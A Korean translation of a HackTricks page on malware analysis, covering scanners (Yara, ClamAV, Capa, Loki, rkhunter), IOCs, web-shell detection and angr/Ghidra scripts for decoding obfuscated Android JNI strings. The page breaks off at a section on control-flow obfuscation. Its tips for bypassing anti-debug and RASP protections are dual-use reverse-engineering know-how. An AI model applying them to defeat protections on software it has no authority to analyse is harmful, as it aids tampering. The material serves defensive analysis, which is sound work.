์•…์„ฑ์ฝ”๋“œ ๋ถ„์„

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

ํฌ๋ Œ์‹ ์น˜ํŠธ์‹œํŠธ

https://www.jaiminton.com/cheatsheet/DFIR/#

์˜จ๋ผ์ธ ์„œ๋น„์Šค

์˜คํ”„๋ผ์ธ ์•ˆํ‹ฐ๋ฐ”์ด๋Ÿฌ์Šค ๋ฐ ํƒ์ง€ ๋„๊ตฌ

Yara

์„ค์น˜

sudo apt-get install -y yara

๊ทœ์น™ ์ค€๋น„

์ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ github์—์„œ ๋ชจ๋“  yara malware ๊ทœ์น™์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ๋ณ‘ํ•ฉํ•˜์„ธ์š”: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9\
rules ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š”. ๊ทธ๋Ÿฌ๋ฉด ๋ชจ๋“  yara ๊ทœ์น™์„ ํฌํ•จํ•œ malware_rules.yar ํŒŒ์ผ์ด ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค.

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Scan

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: malware ๊ฒ€์‚ฌ ๋ฐ yara rules ์ƒ์„ฑ

์ด ๋„๊ตฌ YaraGen๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ yara rules๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ํŠœํ† ๋ฆฌ์–ผ์„ ํ™•์ธํ•˜์„ธ์š”: Part 1, Part 2, Part 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

์„ค์น˜

sudo apt-get install -y clamav

์Šค์บ”

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa๋Š” ์‹คํ–‰ ํŒŒ์ผ(PE, ELF, .NET)์—์„œ ์ž ์žฌ์ ์œผ๋กœ ์•…์„ฑ์ผ ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์„ ํƒ์ง€ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ Att&ck tactics์™€ ๊ฐ™์€ ํ•ญ๋ชฉ์ด๋‚˜ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜์‹ฌ์Šค๋Ÿฌ์šด ๊ธฐ๋Šฅ๋“ค์„ ์ฐพ์Šต๋‹ˆ๋‹ค:

  • OutputDebugString ์˜ค๋ฅ˜ ํ™•์ธ
  • ์„œ๋น„์Šค๋กœ ์‹คํ–‰
  • ํ”„๋กœ์„ธ์Šค ์ƒ์„ฑ

๋‹ค์šด๋กœ๋“œ: Github repo.

IOCs

IOC๋Š” Indicator Of Compromise์˜ ์•ฝ์ž์ž…๋‹ˆ๋‹ค. IOC๋Š” ์ž ์žฌ์ ์œผ๋กœ ์›์น˜ ์•Š๋Š” ์†Œํ”„ํŠธ์›จ์–ด๋‚˜ ํ™•์ •๋œ malware๋ฅผ ์‹๋ณ„ํ•˜๋Š” ์กฐ๊ฑด๋“ค์˜ ์ง‘ํ•ฉ์ž…๋‹ˆ๋‹ค. Blue Teams๋Š” ์ด๋Ÿฌํ•œ ์ •์˜๋ฅผ ์‚ฌ์šฉํ•ด ์ž์‹ ๋“ค์˜ systems ๋ฐ networks์—์„œ ์ด๋Ÿฌํ•œ ์œ ํ˜•์˜ ์•…์„ฑ ํŒŒ์ผ์„ ์ฐพ์•„๋ƒ…๋‹ˆ๋‹ค.
์ด๋Ÿฌํ•œ ์ •์˜๋ฅผ ๊ณต์œ ํ•˜๋Š” ๊ฒƒ์€ ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ํ•œ ์ปดํ“จํ„ฐ์—์„œ malware๊ฐ€ ์‹๋ณ„๋˜์–ด ๊ทธ malware์— ๋Œ€ํ•œ IOC๊ฐ€ ์ž‘์„ฑ๋˜๋ฉด, ๋‹ค๋ฅธ Blue Teams๊ฐ€ ์ด๋ฅผ ์‚ฌ์šฉํ•ด malware๋ฅผ ๋” ๋น ๋ฅด๊ฒŒ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

IOC๋ฅผ ์ƒ์„ฑํ•˜๊ฑฐ๋‚˜ ์ˆ˜์ •ํ•˜๋Š” ๋„๊ตฌ๋กœ๋Š” IOC Editor๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.
๋˜ํ•œ Redline๊ณผ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด ์žฅ์น˜์—์„œ ์ •์˜๋œ IOC๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Loki

Loki ๋Š” Simple Indicators of Compromise์šฉ ์Šค์บ๋„ˆ์ž…๋‹ˆ๋‹ค.
ํƒ์ง€๋Š” ๋„ค ๊ฐ€์ง€ ํƒ์ง€ ๋ฐฉ๋ฒ•์— ๊ธฐ๋ฐ˜ํ•ฉ๋‹ˆ๋‹ค:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD)์€ GNU GPLv2 ๋ผ์ด์„ ์Šค๋กœ ๋ฐฐํฌ๋˜๋Š” Linux์šฉ malware ์Šค์บ๋„ˆ๋กœ, ๊ณต์œ  ํ˜ธ์ŠคํŒ… ํ™˜๊ฒฝ์—์„œ ์ง๋ฉดํ•˜๋Š” ์œ„ํ˜‘์„ ์ค‘์‹ฌ์œผ๋กœ ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋„คํŠธ์›Œํฌ ์—์ง€ ์นจ์ž… ํƒ์ง€ ์‹œ์Šคํ…œ์œผ๋กœ๋ถ€ํ„ฐ์˜ ์œ„ํ˜‘ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•ด ๊ณต๊ฒฉ์— ์‹ค์ œ๋กœ ์‚ฌ์šฉ๋˜๋Š” malware๋ฅผ ์ถ”์ถœํ•˜๊ณ  ํƒ์ง€๋ฅผ ์œ„ํ•œ ์‹œ๊ทธ๋‹ˆ์ฒ˜๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ์œ„ํ˜‘ ๋ฐ์ดํ„ฐ๋Š” LMD์˜ checkout ๊ธฐ๋Šฅ์„ ํ†ตํ•œ ์‚ฌ์šฉ์ž ์ œ์ถœ๊ณผ malware ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฆฌ์†Œ์Šค์—์„œ๋„ ํŒŒ์ƒ๋ฉ๋‹ˆ๋‹ค.

rkhunter

rkhunter ๊ฐ™์€ ๋„๊ตฌ๋Š” ํŒŒ์ผ ์‹œ์Šคํ…œ์—์„œ ๊ฐ€๋Šฅํ•œ rootkits ๋ฐ malware๋ฅผ ๊ฒ€์‚ฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS ๋Š” ๋‹ค์–‘ํ•œ ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•ด ์‹คํ–‰ ํŒŒ์ผ ๋‚ด๋ถ€์˜ obfuscated ๋ฌธ์ž์—ด์„ ์ฐพ์•„๋‚ด๋ ค๊ณ  ์‹œ๋„ํ•˜๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.

PEpper

PEpper ๋Š” ์‹คํ–‰ ํŒŒ์ผ ๋‚ด๋ถ€์˜ ๊ธฐ๋ณธ ํ•ญ๋ชฉ๋“ค(๋ฐ”์ด๋„ˆ๋ฆฌ ๋ฐ์ดํ„ฐ, entropy, URLs ๋ฐ IPs, ์ผ๋ถ€ yara ๊ทœ์น™ ๋“ฑ)์„ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค.

PEstudio

PEstudio ๋Š” imports, exports, headers์™€ ๊ฐ™์€ Windows ์‹คํ–‰ ํŒŒ์ผ ์ •๋ณด๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋ฉฐ, ๋˜ํ•œ virus total์„ ์กฐํšŒํ•˜๊ณ  ์ž ์žฌ์ ์ธ Att&ck ๊ธฐ์ˆ ๋“ค์„ ์ฐพ์•„๋ƒ…๋‹ˆ๋‹ค.

Detect It Easy(DiE)

DiE ๋Š” ํŒŒ์ผ์ด encrypted์ธ์ง€ ๊ฐ์ง€ํ•˜๊ณ  packers๋ฅผ ์ฐพ์•„๋‚ด๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.

NeoPI

NeoPI ๋Š” ๋‹ค์–‘ํ•œ statistical methods๋ฅผ ์‚ฌ์šฉํ•ด ํ…์ŠคํŠธ/์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ ๋‚ด์˜ obfuscated ๋ฐ encrypted ์ฝ˜ํ…์ธ ๋ฅผ ํƒ์ง€ํ•˜๋Š” Python ์Šคํฌ๋ฆฝํŠธ์ž…๋‹ˆ๋‹ค. NeoPI์˜ ๋ชฉ์ ์€ detection of hidden web shell code๋ฅผ ์ง€์›ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

php-malware-finder

PHP-malware-finder ๋Š” obfuscated/dodgy code๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ์ž์ฃผ malwares/webshells์—์„œ ์‚ฌ์šฉ๋˜๋Š” PHP ํ•จ์ˆ˜๋“ค์„ ์‚ฌ์šฉํ•˜๋Š” ํŒŒ์ผ๋“ค๋„ ํƒ์ง€ํ•˜๋ ค๊ณ  ์ตœ์„ ์„ ๋‹คํ•ฉ๋‹ˆ๋‹ค.

Apple Binary Signatures

์–ด๋–ค malware sample์„ ํ™•์ธํ•  ๋•Œ์—๋Š”, ์„œ๋ช…ํ•œ developer๊ฐ€ ์ด๋ฏธ related๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ check the signature๋ฅผ ํ•ญ์ƒ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the appโ€™s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

ํƒ์ง€ ๊ธฐ๋ฒ•

File Stacking

์›น ์„œ๋ฒ„์˜ files๋ฅผ ํฌํ•จํ•˜๋Š” ์–ด๋–ค ํด๋”๊ฐ€ last updated on some date์˜€๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด, ์›น ์„œ๋ฒ„์˜ ๋ชจ๋“  files์˜ ์ƒ์„ฑ ๋ฐ ์ˆ˜์ • date๋ฅผ Checkํ•˜๊ณ  ์–ด๋–ค ๋‚ ์งœ๊ฐ€ suspiciousํ•˜๋ฉด ํ•ด๋‹น ํŒŒ์ผ์„ ํ™•์ธํ•˜๋ผ.

Baselines

ํด๋”์˜ ํŒŒ์ผ๋“ค์ด shouldnโ€™t have been modified ๊ฒฝ์šฐ, ํด๋”์˜ original files์˜ hash๋ฅผ ๊ณ„์‚ฐํ•˜์—ฌ current ํŒŒ์ผ๋“ค๊ณผ compareํ•  ์ˆ˜ ์žˆ๋‹ค. ๋ณ€๊ฒฝ๋œ ํ•ญ๋ชฉ์€ suspiciousํ•˜๋‹ค.

Statistical Analysis

๋กœ๊ทธ์— ์ •๋ณด๊ฐ€ ์ €์žฅ๋˜์–ด ์žˆ๋‹ค๋ฉด check statistics like how many times each file of a web server was accessed as a web shell might be one of the most.


Android ์ธ์•ฑ ๋„ค์ดํ‹ฐ๋ธŒ ํ…”๋ ˆ๋ฉ”ํŠธ๋ฆฌ (no root)

On Android, ๋Œ€์ƒ ์•ฑ ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€์˜ native ์ฝ”๋“œ๋ฅผ ๋‹ค๋ฅธ JNI libs๊ฐ€ ์ดˆ๊ธฐํ™”๋˜๊ธฐ ์ „์— ์ž‘์€ ๋กœ๊ฑฐ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ preloadํ•จ์œผ๋กœ์จ ๊ณ„์ธกํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์‹œ์Šคํ…œ ์ „์ฒด ํ›…์ด๋‚˜ root ์—†์ด๋„ ๋„ค์ดํ‹ฐ๋ธŒ ๋™์ž‘์„ ์กฐ๊ธฐ์— ๊ด€์ฐฐํ•  ์ˆ˜ ์žˆ๋‹ค. ๋งŽ์ด ์‚ฌ์šฉ๋˜๋Š” ๋ฐฉ๋ฒ•์€ SoTap: ์˜ฌ๋ฐ”๋ฅธ ABI์šฉ libsotap.so๋ฅผ APK์— ๋„ฃ๊ณ  ์ดˆ๊ธฐ์— System.loadLibrary(โ€œsotapโ€) ํ˜ธ์ถœ์„ ์ฃผ์ž…(์˜ˆ: static initializer๋‚˜ Application.onCreate)ํ•œ ๋‹ค์Œ ๋‚ด๋ถ€/์™ธ๋ถ€ ๊ฒฝ๋กœ๋‚˜ Logcat fallback์—์„œ ๋กœ๊ทธ๋ฅผ ์ˆ˜์ง‘ํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

See the Android native reversing page for setup details and log paths:

Reversing Native Libraries


Android/JNI native string deobfuscation with angr + Ghidra

์ผ๋ถ€ Android ์•…์„ฑ์ฝ”๋“œ์™€ RASP๋กœ ๋ณดํ˜ธ๋œ ์•ฑ์€ RegisterNatives๋ฅผ ํ˜ธ์ถœํ•˜๊ธฐ ์ „์— ๋Ÿฐํƒ€์ž„์— JNI ๋ฉ”์„œ๋“œ ์ด๋ฆ„๊ณผ ์‹œ๊ทธ๋‹ˆ์ฒ˜๋ฅผ ๋””์ฝ”๋”ฉํ•˜์—ฌ ์ˆจ๊ธด๋‹ค. Frida/ptrace ๊ณ„์ธก์ด anti-debug์— ์˜ํ•ด ์ฐจ๋‹จ๋  ๋•Œ์—๋„, angr๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋‚ด ๋””์ฝ”๋”๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์˜คํ”„๋ผ์ธ์—์„œ ํ‰๋ฌธ์„ ๋ณต๊ตฌํ•œ ๋’ค ๊ฒฐ๊ณผ๋ฅผ Ghidra์˜ ์ฃผ์„์œผ๋กœ ๋ฐ˜์˜ํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ•ต์‹ฌ ์•„์ด๋””์–ด: .so ๋‚ด๋ถ€์˜ ๋””์ฝ”๋”๋ฅผ ํ˜ธ์ถœ ๊ฐ€๋Šฅํ•œ ํ•จ์ˆ˜๋กœ ์ทจ๊ธ‰ํ•˜๊ณ  .rodata์˜ ๋‚œ๋…ํ™”๋œ ๋ฐ”์ดํŠธ ๋ธ”๋กญ์— ๋Œ€ํ•ด ์ด๋ฅผ ์‹คํ–‰ํ•œ ๋‹ค์Œ ์ถœ๋ ฅ ๋ฐ”์ดํŠธ๋ฅผ ์ฒซ ๋ฒˆ์งธ \x00 (C-string terminator)๊นŒ์ง€ ๊ตฌ์ฒดํ™”(concretize)ํ•œ๋‹ค. ์ฃผ์†Œ ๋ถˆ์ผ์น˜๋ฅผ ํ”ผํ•˜๋ ค๋ฉด angr์™€ Ghidra๊ฐ€ ๋™์ผํ•œ image base๋ฅผ ์‚ฌ์šฉํ•˜๋„๋ก ์œ ์ง€ํ•˜๋ผ.

Workflow overview

  • Ghidra์—์„œ ํŠธ๋ฆฌ์•„์ง€: JNI_OnLoad ๋ฐ RegisterNatives ์„ค์ •์—์„œ ๋””์ฝ”๋”์™€ ๊ทธ ํ˜ธ์ถœ ๊ทœ์•ฝ/์ธ์ˆ˜ ํ™•์ธ.
  • angr(CPython3) ์‹คํ–‰: ๊ฐ ๋Œ€์ƒ ๋ฌธ์ž์—ด์— ๋Œ€ํ•ด ๋””์ฝ”๋”๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ๊ฒฐ๊ณผ ๋คํ”„.
  • Ghidra์— ์ฃผ์„ ๋‹ฌ๊ธฐ: ๋น ๋ฅธ JNI ๋ณต์›์„ ์œ„ํ•ด ๊ฐ ํ˜ธ์ถœ ์ง€์ ์— ๋””์ฝ”๋”ฉ๋œ ๋ฌธ์ž์—ด์„ ์ž๋™ ์ฃผ์„์œผ๋กœ ์ถ”๊ฐ€.

Ghidra ํŠธ๋ฆฌ์•„์ง€ (JNI_OnLoad pattern)

  • JNI_OnLoad์— JNI datatypes๋ฅผ ์ ์šฉํ•˜์—ฌ Ghidra๊ฐ€ JNINativeMethod ๊ตฌ์กฐ์ฒด๋ฅผ ์ธ์‹ํ•˜๋„๋ก ํ•œ๋‹ค.
  • Oracle ๋ฌธ์„œ์— ๋”ฐ๋ฅธ ์ „ํ˜•์ ์ธ JNINativeMethod:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • RegisterNatives ํ˜ธ์ถœ์„ ์ฐพ์•„๋ผ. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ๋กœ์ปฌ ๋ฃจํ‹ด(์˜ˆ: FUN_00100e10)์„ ์‚ฌ์šฉํ•ด name/signature๋ฅผ ๊ตฌ์„ฑํ•˜๊ณ  ์ •์  ๋ฐ”์ดํŠธ ํ…Œ์ด๋ธ”(์˜ˆ: DAT_00100bf4)์„ ์ฐธ์กฐํ•˜๋ฉฐ (encoded_ptr, out_buf, length) ๊ฐ™์€ ์ธ์ˆ˜๋ฅผ ๋ฐ›๋Š”๋‹ค๋ฉด, ๊ทธ๊ฒƒ์€ ์˜คํ”„๋ผ์ธ ์‹คํ–‰์˜ ์ด์ƒ์ ์ธ ๋Œ€์ƒ์ด๋‹ค.

angr ์„ค์ • (๋””์ฝ”๋” ์˜คํ”„๋ผ์ธ ์‹คํ–‰)

  • Ghidra์—์„œ ์‚ฌ์šฉํ•œ ๊ฒƒ๊ณผ ๋™์ผํ•œ base(์˜ˆ: 0x00100000)๋กœ .so๋ฅผ ๋กœ๋“œํ•˜๊ณ  ์ƒํƒœ๋ฅผ ์ž‘๊ฒŒ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์™ธ๋ถ€ libs์˜ ์ž๋™ ๋กœ๋”ฉ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ผ.
angr ์„ค์ • ๋ฐ ์˜คํ”„๋ผ์ธ ๋””์ฝ”๋” ์‹คํ–‰ ```python import angr, json

project = angr.Project( โ€˜/path/to/libtarget.soโ€™, load_options={โ€˜main_optsโ€™: {โ€˜base_addrโ€™: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(bโ€™\x00โ€™, 1)[0].decode(โ€˜utf-8โ€™, errors=โ€˜ignoreโ€™)

Example: decode a JNI signature at 0x100933 of length 5 โ†’ should be ()[B

print(decode_string(0x00100933, 5))

</details>

- ๋Œ€๊ทœ๋ชจ๋กœ๋Š” call sites๋ฅผ decoder์˜ ์ธ์ˆ˜ (encoded_ptr, size)๋กœ ์ •์  ๋งคํ•‘ํ•˜์„ธ์š”. Wrappers๊ฐ€ ์ธ์ˆ˜๋ฅผ ์ˆจ๊ธธ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ API recovery๊ฐ€ ๋ถˆ์•ˆ์ •ํ•˜๋ฉด Ghidra xrefs์—์„œ ์ˆ˜๋™์œผ๋กœ ์ด ๋งคํ•‘์„ ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<details>
<summary>angr๋กœ ์—ฌ๋Ÿฌ call sites๋ฅผ ์ผ๊ด„ ๋””์ฝ”๋”ฉ</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Ghidra์—์„œ call sites ์ฃผ์„ ๋‹ฌ๊ธฐ Option A: Jython-only comment writer (์‚ฌ์ „ ์ƒ์„ฑ๋œ JSON ์‚ฌ์šฉ)

  • angr๊ฐ€ CPython3๋ฅผ ํ•„์š”๋กœ ํ•˜๋ฏ€๋กœ, deobfuscation๊ณผ annotation์„ ๋ถ„๋ฆฌํ•˜์„ธ์š”. ๋จผ์ € ์œ„์˜ angr ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ decoded_strings.json์„ ์ƒ์„ฑํ•˜์„ธ์š”. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ด Jython GhidraScript๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๊ฐ call site์— PRE_COMMENTs๋ฅผ ์ž‘์„ฑํ•˜๊ณ , ๋ฌธ๋งฅ์„ ์œ„ํ•ด caller function name์„ ํฌํ•จํ•˜์„ธ์š”:
decoded JNI strings๋ฅผ ์ฃผ์„ ์ฒ˜๋ฆฌํ•˜๋Š” Ghidra Jython ์Šคํฌ๋ฆฝํŠธ ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(โ€˜Select decoded_strings.jsonโ€™, โ€˜Loadโ€™) mapping = json.load(open(f.absolutePath, โ€˜rโ€™)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else โ€˜%s @ %sโ€™ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(โ€˜[+] Annotated %d call sitesโ€™ % len(mapping))

</details>

Option B: Single CPython script via pyhidra/ghidra_bridge
- ๋Œ€์•ˆ์œผ๋กœ, pyhidra ๋˜๋Š” ghidra_bridge๋ฅผ ์‚ฌ์šฉํ•ด angr๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋™์ผํ•œ CPython ํ”„๋กœ์„ธ์Šค์—์„œ Ghidra์˜ API๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด decode_string()์„ ํ˜ธ์ถœํ•˜๊ณ  ์ค‘๊ฐ„ ํŒŒ์ผ ์—†์ด ์ฆ‰์‹œ PRE_COMMENT๋“ค์„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋กœ์ง์€ Jython ์Šคํฌ๋ฆฝํŠธ์™€ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค: ReferenceManager๋ฅผ ํ†ตํ•ด callsiteโ†’function ๋งคํ•‘์„ ๊ตฌ์ถ•ํ•˜๊ณ , angr๋กœ ๋””์ฝ”๋“œํ•œ ํ›„ ์ฝ”๋ฉ˜ํŠธ๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.

Why this works and when to use it
- Offline ์‹คํ–‰์€ RASP/anti-debug๋ฅผ ํšŒํ”ผํ•ฉ๋‹ˆ๋‹ค: ๋ฌธ์ž์—ด ๋ณต์›์„ ์œ„ํ•ด ptrace๋‚˜ Frida ํ›…์ด ํ•„์š” ์—†์Šต๋‹ˆ๋‹ค.
- Ghidra์™€ angr์˜ base_addr(์˜ˆ: 0x00100000)๋ฅผ ์ผ์น˜์‹œํ‚ค๋ฉด ํ•จ์ˆ˜/๋ฐ์ดํ„ฐ ์ฃผ์†Œ๊ฐ€ ๋„๊ตฌ ๊ฐ„์— ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค.
- ๋””์ฝ”๋”์— ๋Œ€ํ•œ ๋ฐ˜๋ณต ๊ฐ€๋Šฅํ•œ ๋ ˆ์‹œํ”ผ: ๋ณ€ํ™˜์„ ์ˆœ์ˆ˜ ํ•จ์ˆ˜๋กœ ๊ฐ„์ฃผํ•˜๊ณ , ์ƒˆ state์— ์ถœ๋ ฅ ๋ฒ„ํผ๋ฅผ ํ• ๋‹นํ•œ ๋’ค (encoded_ptr, out_ptr, len)๋กœ ํ˜ธ์ถœํ•˜๊ณ  state.solver.eval๋กœ ๊ตฌ์ฒดํ™”ํ•œ ๋‹ค์Œ \x00๊นŒ์ง€์˜ C-strings๋ฅผ ํŒŒ์‹ฑํ•ฉ๋‹ˆ๋‹ค.

Notes and pitfalls
- ๋Œ€์ƒ ABI/calling convention์„ ์ค€์ˆ˜ํ•˜์„ธ์š”. angr.factory.callable์€ arch์— ๋”ฐ๋ผ ํ•˜๋‚˜๋ฅผ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค; ์ธ์ˆ˜๊ฐ€ ๋ฐ€๋ ค ๋ณด์ด๋ฉด cc๋ฅผ ๋ช…์‹œ์ ์œผ๋กœ ์ง€์ •ํ•˜์„ธ์š”.
- ๋””์ฝ”๋”๊ฐ€ 0์œผ๋กœ ์ดˆ๊ธฐํ™”๋œ ์ถœ๋ ฅ ๋ฒ„ํผ๋ฅผ ๊ธฐ๋Œ€ํ•˜๋ฉด, ํ˜ธ์ถœ ์ „์— state์—์„œ outbuf๋ฅผ 0์œผ๋กœ ์ดˆ๊ธฐํ™”ํ•˜์„ธ์š”.
- position-independent Android .so์˜ ๊ฒฝ์šฐ, angr์—์„œ์˜ ์ฃผ์†Œ๊ฐ€ Ghidra์—์„œ ๋ณธ ์ฃผ์†Œ์™€ ์ผ์น˜ํ•˜๋„๋ก ํ•ญ์ƒ base_addr๋ฅผ ์ œ๊ณตํ•˜์„ธ์š”.
- ์•ฑ์ด ์–‡์€ ์Šคํ… ๋’ค์— ๋””์ฝ”๋”๋ฅผ ์ˆจ๊ฒผ๋”๋ผ๋„ call-xrefs๋ฅผ ์—ด๊ฑฐํ•˜๋ ค๋ฉด currentProgram.getReferenceManager()๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`.  A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery.

